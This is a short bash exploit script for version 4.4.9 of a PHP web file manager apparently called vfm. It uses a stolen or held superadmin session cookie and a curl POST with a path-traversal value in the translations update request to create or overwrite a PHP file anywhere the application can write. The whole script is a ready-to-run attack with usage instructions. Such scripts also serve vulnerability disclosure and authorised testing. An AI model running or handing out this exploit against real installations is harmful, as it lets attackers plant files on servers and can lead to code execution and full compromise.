#!/usr/bin/env bash

##########################################################
########### SUPERADMIN ARBITRARY FILE OVERWRITE ##########
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets an attacker overwrite any php file on
# on the system or create a new one anywere as long as the
# application has write access to the target directory.

# - Parameter $1 is vfm session cookie name
# - Parameter $2 is vfm session cookie value
# - Parameter $3 is the path to the file to overwrite (from
#   application root)
# - Parameter $4 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]] || [[ -z "$2" ]] || [[ -z "$3" ]] || [[ -z "$4" ]]; then
  echo "[ USAGE ] :: ./auth-superadmin-arbitrary-file-overwrite.sh <vfm cookie name> <vfm cookie value> </path/to/target without extension> <url to root of vfm installation>/"
  exit 1
fi

echo "[ EXECUTION STARTED ]"
curl -X POST \
  -b "$1=$2" \
  -d "thenewlang=../../../$3" \
  "$4/vfm-admin/index.php?section=translations&action=update" &>/dev/null
echo "[ DONE ]"

echo "A new file should be added at :: $4/$3.php"